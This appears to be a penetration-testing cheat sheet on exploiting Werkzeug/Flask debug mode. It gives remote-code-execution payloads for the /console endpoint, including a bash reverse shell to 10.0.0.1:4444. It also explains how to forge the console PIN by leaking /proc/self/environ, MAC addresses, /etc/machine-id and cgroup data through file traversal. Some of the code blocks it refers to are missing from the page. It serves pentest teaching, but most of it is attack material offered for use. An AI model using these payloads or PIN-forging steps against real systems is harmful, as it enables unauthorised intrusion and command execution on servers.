Werkzeug
Theory
Werkzeug is a comprehensive WSGI web application library. It began as a simple collection of various utilities for WSGI applications and has become one of the most advanced WSGI utility libraries. It is commonly used for Flask web application.
Practice
Console RCE
If debug is active you could try to access to /console endpoint or to trigger a Werkzeug error and gain RCE.
__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())
# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()Console PIN Exploit
In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.
According to the Werkzeug PIN generation source code, here are the needed variables to generate the PIN code:
Needed variables
Variables needed to exploit the console PIN:
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]probably_public_bits
username
This is the user who started this Flask instance. You may find it in /proc/self/environ
modname
It's flask.app
getattr(app, 'name', getattr (app .__ class__, 'name'))
It's generally Flask but it may change depending of how the server has been started. Check this video for details.
You may want to download application files, edit python3.5/site-packages/werkzeug/debug/__init__.py to make it print probably_public_bits and run it locally to get the right variable.
getattr(mod, '__file__', None)
is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc
You may find this information in the Werkzeug error message.
private_bits
uuid.getnode()
is the MAC address of the current computer, str(uuid.getnode()) is the decimal expression of the mac address.
To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.
Convert from hex address to decimal representation by running in python e.g.:
Side note: It looks like Ubuntu Desktop doesn’t return “correct” values for getnode
get_machine_id()
concatenate the values in /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup after the last slash (/).
To clarify, here is the code used by Werkzeug to generate the machine_id
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
Generate the PIN
You can use the following code with previous values to generate a valid PIN code
If you are on a new version of Werkzeug, try changing the hashing algorithm to sha1 instead of md5.
Resources
Last updated